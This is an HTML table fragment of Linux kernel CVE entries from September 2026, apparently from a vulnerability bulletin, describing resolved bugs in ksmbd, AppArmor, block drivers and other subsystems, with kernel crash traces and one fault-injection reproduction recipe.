&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/server: abort initialization when proc setup fails ksmbd_server_init() calls ksmbd_proc_init() before creating the remaining proc entries and server subsystems. ksmbd_proc_init() tears down partial state on a procfs or percpu_counter allocation failure, but returns void, so ksmbd_server_init() continues as if the counters were usable. Once userspace starts the server, server_ctrl_handle_init() calls ksmbd_proc_reset(), which reaches percpu_counter_set() with a NULL per-CPU counters pointer on SMP systems. The later ksmbd_proc_create() calls also receive a NULL parent and may create entries in the /proc root; ksmbd_proc_cleanup() cannot remove those entries because ksmbd_proc_fs is NULL.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90164&quot; target=&quot;_blank&quot;&gt;CVE-2026-90164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/server: fix invalid pointer dereference in ksmbd_stop_durable_scavenger() See the procedure below: ksmbd_launch_ksmbd_durable_scavenger durable_scavenger_running = true server_conf.dh_task = kthread_run() // fail, dh_task is an ERR_PTR() server_ctrl_handle_reset ksmbd_stop_durable_scavenger kthread_stop(server_conf.dh_task) // invalid pointer&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90165&quot; target=&quot;_blank&quot;&gt;CVE-2026-90165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/server: fix null-ptr-deref in ksmbd_ipc_tree_connect_request() See the procedure below: ksmbd_tree_conn_connect ksmbd_share_config_get share-&amp;gt;name = kstrdup() // fail if (!test_share_config_flag(share, KSMBD_SHARE_FLAG_PIPE)) // false // do not check `share-&amp;gt;name` ksmbd_ipc_tree_connect_request strlen(share-&amp;gt;name) // null-ptr-deref&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90166&quot; target=&quot;_blank&quot;&gt;CVE-2026-90166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: serialize oplock close with pending break ownership close may abort an in-flight oplock break while another breaker already holds an opinfo reference. Releasing pending_break wakes that waiter, but without serializing the close transition with bit acquisition it can become a new break owner through the test_and_set_bit() fast path. It can then overwrite OPLOCK_CLOSING with OPLOCK_ACK_WAIT and continue a break for a dying opinfo. Make OPLOCK_CLOSING terminal once the opinfo is removed from the inode list. Serialize that transition, pending_break acquisition, and OPLOCK_ACK_WAIT setup with an opinfo state lock. A breaker which loses the race releases its ownership and returns -ENOENT. Explicitly wake pending_break waiters during close so they can observe the terminal state. Also prevent ACK and timeout paths from replacing OPLOCK_CLOSING with OPLOCK_STATE_NONE.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90167&quot; target=&quot;_blank&quot;&gt;CVE-2026-90167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: free preauth sessions on connection teardown SMB3.1.1 multichannel binding preserves the preauthentication hash in a preauth_session between the NTLM negotiate and authenticate requests. The binding NTLM negotiate allocates this object and returns STATUS_MORE_PROCESSING_REQUIRED. If the client disconnects before it sends the authenticate request, neither the authenticate nor error cleanup paths free the object. Release any remaining preauthentication sessions when tearing down the connection. Initialize the list when allocating the connection so that this cleanup is safe regardless of the negotiated dialect.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90169&quot; target=&quot;_blank&quot;&gt;CVE-2026-90169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ksmbd: validate ipc response length before dereferencing its fields ipc_validate_msg() computes the expected message size by reading length fields out of the response buffer supplied by the userspace ksmbd daemon (payload_sz, session_key_len, ngroups, ...). Those fields are read before the buffer is verified to be large enough to contain the struct they belong to, so a short response makes the read land past the end of the allocation. handle_response() sizes entry-&amp;gt;response purely from the netlink attribute length (nla_len()) and only guards the leading handle read, so the daemon can install a response as small as the kmalloc-8 object seen below. When ipc_msg_send_request() then calls ipc_validate_msg() for a KSMBD_EVENT_RPC_REQUEST, the cast to struct ksmbd_rpc_command reads resp-&amp;gt;payload_sz at offset 8 of an 8-byte allocation: [ 3697.841381] ================================================================== [ 3697.844099] BUG: KASAN: slab-out-of-bounds in ipc_msg_send_request+0x763/0x800 [ 3697.846604] Read of size 4 at addr ffff888105f95910 by task kworker/4:3/20682 [ 3697.849061] [ 3697.849801] CPU: 4 UID: 0 PID: 20682 Comm: kworker/4:3 Not tainted 7.2.0-rc3-next-20260717-virtme #117 PREEMPT(lazy) [ 3697.850077] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014 [ 3697.850303] Workqueue: ksmbd-io handle_ksmbd_work [ 3697.850592] Call Trace: [ 3697.850794] &amp;lt;TASK&amp;gt; [ 3697.850952] __dump_stack+0x21/0x60 [ 3697.851239] dump_stack_lvl+0xc2/0x100 [ 3697.851528] print_address_description+0x77/0x200 [ 3697.851816] ? ipc_msg_send_request+0x763/0x800 [ 3697.852024] print_report+0x58/0x70 [ 3697.852316] kasan_report+0x117/0x150 [ 3697.852585] ? down_write+0x146/0x1f0 [ 3697.852809] ? ipc_msg_send_request+0x763/0x800 [ 3697.853082] ipc_msg_send_request+0x763/0x800 [ 3697.853385] ? __pfx_ipc_msg_send_request+0x10/0x10 [ 3697.853604] ? kasan_unpoison+0x48/0x70 [ 3697.853936] ? __pfx___up_read+0x10/0x10 [ 3697.854221] ksmbd_rpc_ioctl+0x380/0x520 [ 3697.854542] ? __pfx_ksmbd_rpc_ioctl+0x10/0x10 [ 3697.854757] ? kasan_unpoison+0x48/0x70 [ 3697.854962] ? copy_from_kernel_nofault+0x32c/0x4e0 [ 3697.855166] ? kasan_unpoison+0x48/0x70 [ 3697.855416] fsctl_pipe_transceive+0x139/0x7a0 [ 3697.855705] ? __pfx_copy_from_kernel_nofault+0x10/0x10 [ 3697.855937] ? __pfx_fsctl_pipe_transceive+0x10/0x10 [ 3697.856388] ? __sanitizer_cov_trace_switch+0x7b/0x140 [ 3697.856620] smb2_ioctl+0x1141/0x3420 [ 3697.856994] ? __pfx_smb2_ioctl+0x10/0x10 [ 3697.857182] ? get_smb2_cmd_val+0xe3/0x1c0 [ 3697.857655] handle_ksmbd_work+0x9ad/0x15e0 [ 3697.858034] ? __pfx_handle_ksmbd_work+0x10/0x10 [ 3697.858251] ? lock_release+0xf7/0x360 [ 3697.858466] ? process_scheduled_works+0x954/0x1600 [ 3697.858698] ? process_scheduled_works+0x954/0x1600 [ 3697.858905] process_scheduled_works+0xc22/0x1600 [ 3697.859368] ? __pfx_process_scheduled_works+0x10/0x10 [ 3697.859637] ? __pfx_assign_work+0x10/0x10 [ 3697.859896] ? lock_is_held_type+0x7b/0x110 [ 3697.860146] worker_thread+0x975/0xee0 [ 3697.860524] ? __pfx_do_raw_spin_lock+0x10/0x10 [ 3697.860830] ? __kthread_parkme+0x21e/0x260 [ 3697.861105] kthread+0x3a6/0x490 [ 3697.861423] ? __pfx_worker_thread+0x10/0x10 [ 3697.861643] ? __pfx_kthread+0x10/0x10 [ 3697.861878] ret_from_fork+0x55a/0xa20 [ 3697.862194] ? __pfx_ret_from_fork+0x10/0x10 [ 3697.862480] ? __pfx_kthread+0x10/0x10 [ 3697.862714] ret_from_fork_asm+0x1a/0x30 [ 3697.862965] &amp;lt;/TASK&amp;gt; [ 3697.863039] [ 3697.938882] Allocated by task 20761: [ 3697.940257] kasan_save_track+0x3e/0x80 [ 3697.941782] __kasan_kmalloc+0x72/0x90 [ 3697.943228] __kvmalloc_node_noprof+0x3e9/0x6a0 [ 3697.944948] handle_generic_event+0x59b/0x750 [ 3697.946592] genl_family_rcv_msg_doit+0x3d6/0x560 [ 3697.946977] genl_rcv_msg+0x67c/0x900 [ 3697.947224] netlink_rcv_skb+0x286/0x580 [ 3697.947488] genl_rcv+0x2d/0x80 [ 3 ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90170&quot; target=&quot;_blank&quot;&gt;CVE-2026-90170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: smbdirect: release pending child sockets outside the handler lock smbdirect_socket_destroy() releases the listener&#039;s pending/ready child sockets while still holding the listener&#039;s handler lock, the &amp;amp;id_priv-&amp;gt;handler_mutex taken via rdma_lock_handler(), not sc-&amp;gt;listen.lock, and before the listener&#039;s own rdma_destroy_id(). That ordering has one real consequence and one cosmetic one. The real one: smbdirect_socket_release() drops the child&#039;s last reference, which destroys the child&#039;s cm_id. Doing that before the listener&#039;s rdma_destroy_id() lets _cma_cancel_listens(), running from the listener&#039;s _destroy_id(), walk an already freed child id_priv, which KASAN catches as a slab-use-after-free during listener shutdown: [ 4758.909130] BUG: KASAN: slab-use-after-free in __mutex_lock+0x1469/0x1560 [ 4758.911450] Read of size 1 at addr ffff88821c381db4 by task ksmbd.control/1652 [ 4758.913262] Call Trace: [ 4758.913267] &amp;lt;TASK&amp;gt; [ 4758.913299] __mutex_lock+0x1469/0x1560 [ 4758.913408] _cma_cancel_listens+0x312/0x3b0 [ 4758.913413] _destroy_id+0x363/0xee0 [ 4758.913417] smbdirect_socket_destroy_sync+0x17d5/0x2440 [ 4758.913443] smbdirect_socket_release+0x124/0x230 [ 4758.913451] ksmbd_rdma_stop_listening+0x9f/0x190 [ 4758.913457] ksmbd_conn_transport_destroy+0x65/0x3c0 [ 4758.913463] kill_server_store+0x1fb/0x2b0 [ 4758.913501] kernfs_fop_write_iter+0x349/0x4d0 [ 4758.913507] vfs_write+0x5e7/0xc70 [ 4758.913528] ksys_write+0x12a/0x210 [ 4758.913541] do_syscall_64+0x135/0x460 [ 4758.913555] entry_SYSCALL_64_after_hwframe+0x77/0x7f The cosmetic one: releasing a child recurses into smbdirect_socket_destroy(), which takes the child&#039;s own rdma_lock_handler() lock nested under the listener&#039;s. The listener&#039;s and the child&#039;s cm_id are always different instances, so this cannot deadlock for real; the CM core itself nests a new connection id&#039;s handler_mutex under the listening id&#039;s in cma_ib_req_handler(). But lockdep only sees one lock class, reports possible recursive locking, and then disables itself, hiding real locking bugs for the rest of the run: [ 2424.579653] WARNING: possible recursive locking detected [ 2424.581180] 7.1.0-next-20260623+ #89 Not tainted [ 2424.582548] -------------------------------------------- [ 2424.584500] ksmbd.control/8854 is trying to acquire lock: [ 2424.586817] ffff888102303c20 (&amp;amp;id_priv-&amp;gt;handler_mutex){+.+.}-{4:4}, at: smbdirect_socket_destroy_sync+0xc39/0x2440 [ 2424.590590] [ 2424.590590] but task is already holding lock: [ 2424.591601] ffff888102046c20 (&amp;amp;id_priv-&amp;gt;handler_mutex){+.+.}-{4:4}, at: smbdirect_socket_destroy_sync+0xc39/0x2440 [ 2424.594178] [ 2424.594178] other info that might help us debug this: [ 2424.596634] Possible unsafe locking scenario: [ 2424.596634] [ 2424.598841] CPU0 [ 2424.599765] ---- [ 2424.600695] lock(&amp;amp;id_priv-&amp;gt;handler_mutex); [ 2424.601836] lock(&amp;amp;id_priv-&amp;gt;handler_mutex); [ 2424.602590] [ 2424.602590] *** DEADLOCK *** [ 2424.602590] [ 2424.604512] May be due to missing lock nesting notation Splice the pending/ready children onto a local list under the listener&#039;s listen.lock, while the handler lock is held so a concurrent CM CONNECT_REQUEST cannot add more, but defer the actual smbdirect_socket_release() calls until after the listener&#039;s cm_id has been destroyed and its handler lock dropped. The children are independent sockets whose teardown needs neither the listener&#039;s handler lock nor its cm_id. Found with ksmbdzzer [2], a KSMBD fuzzer that drives libFuzzer with a kcov-dataflow [1] coverage vector: it folds each instrumented comparison/argument&#039;s runtime operand value together with its PC (the default arm mixes them as pcâŠ•val) so that a new operand value at a known site counts as new coverage. [1] https://lwn.net/Articles/1077606/ [2] https://github.com/yskzalloc/kcov-dataflow&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90171&quot; target=&quot;_blank&quot;&gt;CVE-2026-90171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: server: fix leak of ksmbd_ipc_login_request_ext() returned buffer Free it unconditionally after ksmbd_alloc_user() calls. kmemleak splat: unreferenced object 0xffff888103b83540 (size 192): comm &quot;pool-0&quot;, pid 16970, jiffies 4377290937 hex dump (first 32 bytes): 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ backtrace (crc 408ccc66): __kvmalloc_node_noprof+0x730/0x920 handle_generic_event+0xec/0x1a0 [ksmbd] genl_family_rcv_msg_doit+0xe0/0x130 genl_rcv_msg+0x181/0x290 netlink_rcv_skb+0x4f/0x100 genl_rcv+0x28/0x40 netlink_unicast+0x1e6/0x2c0 netlink_sendmsg+0x20a/0x450 ____sys_sendmsg+0x2e8/0x310 ___sys_sendmsg+0x78/0xc0 __sys_sendmsg+0x63/0xc0 do_syscall_64+0xa1/0x670 entry_SYSCALL_64_after_hwframe+0x76/0x7e&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90175&quot; target=&quot;_blank&quot;&gt;CVE-2026-90175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hwmon: (coretemp) Fix core_data leak on CPUs without PTS pdata-&amp;gt;core_data is allocated in init_temp_data() when the first core temp_data of a package is created, but it is only released from destroy_temp_data(), and only in the branch that handles the package temp_data. Package temp_data is created solely when the CPU supports X86_FEATURE_PTS. On a CPU without it, coretemp_cpu_online() never calls coretemp_add_core() with pkg_flag set, so pdata-&amp;gt;pkg_data stays NULL. coretemp_cpu_offline() then skips the removal of the package interface, destroy_temp_data() is never called for package data, and the array is still allocated when coretemp_device_remove() frees the platform data that pointed at it. Release the array in coretemp_device_remove(). destroy_temp_data() sets pdata-&amp;gt;core_data to NULL when it frees it, so the added kfree() is a no-op on CPUs that do have PTS. Tested on an Intel Core i5-1135G7. The driver was instrumented to log every allocation and release of pdata-&amp;gt;core_data, and the PTS check in coretemp_cpu_online() was patched out to emulate a CPU without package thermal support. Without this change the array was allocated and never released, and coretemp_device_remove() still saw a non-NULL pointer. With it the array is released and the pointer accounting balances. On an unmodified build the release still happens via the package temp_data and the added kfree() sees NULL, with no slab warnings over repeated module load and unload cycles.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90178&quot; target=&quot;_blank&quot;&gt;CVE-2026-90178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: apparmor: fix deadlock in complain-mode change_hat The use of change_hat when in complain mode can cause a deadlock when the hat doesn&#039;t exist and a new learning profile is created for the missing profile. This is because change_hat() has taken the lock to search the hat list and creating the new learning profile needs to take the lock to add it to the list. From the bug report: Originally found in 7.0.0 in LTS ubuntu 26.04 with pam_apparmor + su in complain mode set to change hats. Then verified in newest available vanilla kernel I&#039;ve compiled to see if still present: 7.2-rc7 vanilla -&amp;gt; affected checked also some other kernels: 6.18.44 vanilla -&amp;gt; affected 6.12.95 with debian patches -&amp;gt; unaffected On systems without bug (for example 6.12.95 debian) it just prints: aa_change_hat rc=0 On systems with bug, the executable always hangs, prints nothing and becomes unkillable. (And once stuck this way, it will cause any further hat changes to also cause the changing process to get stuck) Then in syslog you can find hint about cause: kernel: INFO: task hat:3409 blocked for more than 483 seconds. kernel: Not tainted 7.2.0-rc7 #1 kernel: &quot;echo 0 &amp;gt; /proc/sys/kernel/hung_task_timeout_secs&quot; disables this message. kernel: task:hat state:D stack:0 pid:3409 tgid:3409 ppid:2605 task_flags:0x400000 flags:0x00080800 kernel: Call Trace: kernel: &amp;lt;TASK&amp;gt; kernel: __schedule+0x48f/0xfe0 kernel: schedule+0x27/0xa0 kernel: schedule_preempt_disabled+0x15/0x30 kernel: __mutex_lock.constprop.0+0x569/0xa10 kernel: aa_new_learning_profile+0x15f/0x210 kernel: build_change_hat+0x19f/0x3b0 kernel: change_hat.isra.0+0x5dd/0xd60 kernel: aa_change_hat+0x2f3/0x710 kernel: aa_setprocattr_changehat+0x121/0x1f0 kernel: do_setattr+0x28c/0x340 kernel: apparmor_setselfattr+0x20/0x50 kernel: security_setselfattr+0xf6/0x110 kernel: __x64_sys_lsm_set_self_attr+0x53/0x90 kernel: do_syscall_64+0xdd/0x5e0 kernel: ? __mod_memcg_lruvec_state+0xfd/0x260 kernel: ? lruvec_stat_mod_folio+0x8d/0xd0 kernel: ? __folio_mod_stat+0x2d/0x90 kernel: ? map_anon_folio_pte_nopf+0xd1/0x1f0 kernel: ? do_anonymous_page+0x184/0xa10 kernel: ? __handle_mm_fault+0x805/0x870 kernel: ? count_memcg_events+0xef/0x230 kernel: ? handle_mm_fault+0x1f0/0x2f0 kernel: ? do_user_addr_fault+0x2bb/0x7b0 kernel: ? do_syscall_64+0x94/0x5e0 kernel: ? exc_page_fault+0x75/0x160 kernel: entry_SYSCALL_64_after_hwframe+0x76/0x7e kernel: RIP: 0033:0x7f815e134c8d kernel: RSP: 002b:00007fff6df94ea8 EFLAGS: 00000246 ORIG_RAX: 00000000000001cc kernel: RAX: ffffffffffffffda RBX: 0000556d8c81d040 RCX: 00007f815e134c8d kernel: RDX: 0000000000000046 RSI: 0000556d8c81d040 RDI: 0000000000000064 kernel: RBP: 00007fff6df94ef0 R08: 00007f815e212ac8 R09: 000000000000000c kernel: R10: 0000000000000000 R11: 0000000000000246 R12: 0000556d8c81d010 kernel: R13: 0000000000000026 R14: 0000000000000046 R15: 0000000000000064 kernel: &amp;lt;/TASK&amp;gt; kernel: INFO: task hat:3409 is blocked on a mutex likely owned by task hat:3409. To fix the issue, lift the locking out of the core of aa_new_learning_profile(), introduce a wrapper function that takes the lock where needed, and have build_change_hat() call the core function that no longer takes the lock. In addition fix 4 other issues introduced by commit 32e92764d6f8d (&quot;apparmor: grab ns lock and refresh when looking up changehat child profiles&quot;) - aa_get_profile_rcu() was replaced-by: aa_get_profile without the accompanying rcu_dereference_protected() - an extra aa_get_label(label) was introduced at the start of change_hat() without an accompanying aa_put_label() causing a reference count leak. - a reference count leak was introduced in the label_is_stale(label) case, where the newest profile would be leaked instead of the label passed to the function. - a potential UAF when the lookup walks up the tree with new_ns != ns the new label refere ---truncated---&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90179&quot; target=&quot;_blank&quot;&gt;CVE-2026-90179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: block: mtip32xx: synchronize ioctls with device removal The ioctl handlers only test REMOVE_PENDING before entering mtip_hw_ioctl(). Removal can set that bit immediately afterwards and free dd-&amp;gt;port in mtip_hw_exit() while an ioctl still dereferences it. An already open block device can reach the handlers while del_gendisk() is in progress. Serialize both native and compat ioctls with removal. Set REMOVE_PENDING before taking the mutex so new callers fail after an in-flight ioctl has drained, and hold the mutex until the port has been torn down.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90180&quot; target=&quot;_blank&quot;&gt;CVE-2026-90180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ublk: avoid teardown retry loop on xarray allocation failure __ublk_shmem_remove_ranges() removes matching maple tree ranges in batches, but first stores each range into a temporary xarray so that the pages can be unpinned after dropping the maple tree lock. That temporary xarray is filled under the maple tree lock with xa_store(..., GFP_ATOMIC). If the store fails before mas_erase(), the current range is left in the tree and the helper returns false. The outer ublk_shmem_remove_ranges() loop then immediately retries the same range. While the atomic allocation keeps failing, the teardown path has no forward progress. The issue can be reproduced with radix_tree_node failslab injection after a SHMEM_ZC buffer has already been registered: # Kernel config: # CONFIG_BLK_DEV_UBLK=y # CONFIG_DEBUG_FS=y # CONFIG_FAULT_INJECTION=y # CONFIG_FAULT_INJECTION_DEBUG_FS=y # CONFIG_FAILSLAB=y echo 10 &amp;gt; /proc/sys/vm/nr_hugepages mkdir -p /tmp/htlb mount -t hugetlbfs none /tmp/htlb fallocate -l 4M /tmp/htlb/ublk_buf dev_id=$(kublk add -t null --shmem_zc \ --htlb /tmp/htlb/ublk_buf | awk -F &#039;[ :]&#039; &#039;/dev id/ {print $3}&#039;) echo 1 &amp;gt; /sys/kernel/slab/radix_tree_node/failslab echo Y &amp;gt; /sys/kernel/debug/failslab/cache-filter echo Y &amp;gt; /sys/kernel/debug/failslab/ignore-gfp-wait echo 1 &amp;gt; /sys/kernel/debug/failslab/interval echo -1 &amp;gt; /sys/kernel/debug/failslab/times echo 100 &amp;gt; /sys/kernel/debug/failslab/probability kublk del -n &quot;$dev_id&quot; On the unfixed kernel the delete command was still running after 3 seconds. Disabling failslab made it return. The fault-injection stack showed: should_failslab kmem_cache_alloc_lru_noprof __xas_nomem __xa_store xa_store __ublk_shmem_remove_ranges ublk_cdev_rel ublk_ctrl_del_dev Remove the allocation from the teardown loop. Keep the existing batch limit, but collect {base_pfn, nr_pages} pairs in a fixed-size stack array. Once a matching range is found, the range is erased from the maple tree before dropping the lock, so each successful scan makes progress without depending on any GFP_ATOMIC allocation. With the same failslab settings, the fixed kernel completed &quot;kublk del -n $dev_id&quot; successfully in about 45 ms.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90181&quot; target=&quot;_blank&quot;&gt;CVE-2026-90181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: blk-iocost: clear delay state when freeing policy data iocg_kick_delay() turns sufficiently large debt into an explicit block-cgroup delay with blkcg_set_delay(), setting blkg-&amp;gt;use_delay to -1 and incrementing blkcg-&amp;gt;congestion_count. Clearing it again depends on iocg_kick_delay() running from the period timer, the waitq timer or the issue path. ioc_pd_free() removes the iocg from active_iocgs and cancels its waitq timer, and no further bios can arrive, so once it has run nothing is left which can reduce the debt and clear the delay. The blkcg stays marked congested for the rest of its life. blk_cgroup_congested() then returns true for every task in that cgroup and its descendants: page_cache_sync_ra() cuts readahead to a single page, page_cache_async_ra() skips it altogether, and __folio_throttle_swaprate() takes swap_avail_lock and schedules a throttle on anonymous folio allocation. Clear it explicitly, after the list removal and the synchronous hrtimer_cancel() so that neither timer processing nor an I/O path can re-arm it. The free callback can also see policy data which was never attached to a blkg, hence the pd-&amp;gt;blkg check.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90182&quot; target=&quot;_blank&quot;&gt;CVE-2026-90182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: blk-iolatency: clear delay state when freeing policy data io.latency can throttle a group which has no latency target of its own. When a sibling misses its target, check_scale_change() scales down its peers, and a peer that reaches queue depth one gets blkcg_use_delay() called on it on every further scale-down, even with min_lat_nsec == 0. iolatency_pd_offline() resets the target through iolatency_set_min_lat_nsec(), which clears the delay only on a nonzero to zero transition, so it never clears such a peer. Freeing the policy data then leaves blkg-&amp;gt;use_delay set and blkcg-&amp;gt;congestion_count elevated with nothing left that can drop it. blk_cgroup_congested() then returns true for every task in that cgroup and its descendants for as long as the cgroup lives: page_cache_sync_ra() cuts readahead to a single page, page_cache_async_ra() skips it altogether, and __folio_throttle_swaprate() takes swap_avail_lock and schedules a throttle on anonymous folio allocation. Clear the delay in iolatency_pd_free(). By then bio-held blkg references have drained, or the queue is frozen for policy deactivation, so check_scale_change() cannot re-arm it. The free callback can also see policy data which was never attached to a blkg, hence the pd-&amp;gt;blkg check.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90183&quot; target=&quot;_blank&quot;&gt;CVE-2026-90183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: null_blk: serialize configfs attribute updates with device setup The attribute store methods generated with NULLB_DEVICE_ATTR() refuse to change the configuration of a live device by testing NULLB_DEV_FL_CONFIGURED, but that flag is only set by nullb_device_power_store() after null_add_dev() has returned, and the store methods take no lock at all. configfs only serializes writes to the same open file (buffer-&amp;gt;mutex), so a write to any attribute can run concurrently with null_add_dev() and change the device configuration while it is being used. null_add_dev() reads the configuration several times, e.g. dev-&amp;gt;zoned is read once to set up the queue limits and once to initialize the zone resources: CPU0: echo 1 &amp;gt; nullb0/power CPU1: echo 1 &amp;gt; nullb0/zoned nullb_device_power_store() mutex_lock(&amp;amp;lock) null_add_dev() if (dev-&amp;gt;zoned) -&amp;gt; false /* no BLK_FEAT_ZONED */ nullb_device_zoned_store() test_bit(FL_CONFIGURED) -&amp;gt; 0 dev-&amp;gt;zoned = true blk_mq_alloc_disk() /* queue is not zoned */ if (nullb-&amp;gt;dev-&amp;gt;zoned) -&amp;gt; true null_register_zoned_dev() blk_revalidate_disk_zones() blk_revalidate_disk_zones() is then called for a queue that does not have BLK_FEAT_ZONED set, which triggers its WARN_ON_ONCE() and fails the device setup with -EIO: WARNING: CPU: 2 PID: 322 at block/blk-zoned.c:2357 blk_revalidate_disk_zones+0x4c/0x560 Clearing dev-&amp;gt;zoned in the same window is worse: the queue is created with BLK_FEAT_ZONED but the zone resources are never initialized, so add_disk() succeeds for a zoned disk that has no zones. And a store that lands after the last dev-&amp;gt;zoned test leaves dev-&amp;gt;zoned set while dev-&amp;gt;zones is still NULL, which null_process_zoned_cmd() dereferences on the first write. Fix this by taking the global lock, which nullb_device_power_store() already holds across null_add_dev() and null_del_dev(), around both the NULLB_DEV_FL_CONFIGURED test and the update of the device configuration. The submit_queues and poll_queues apply callbacks are now called with that lock held, so remove the locking they did themselves. Since the store methods can run as soon as configfs_register_subsystem() returns, that is, before null_init() gets to mutex_init(&amp;amp;lock), also initialize the lock statically with DEFINE_MUTEX().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
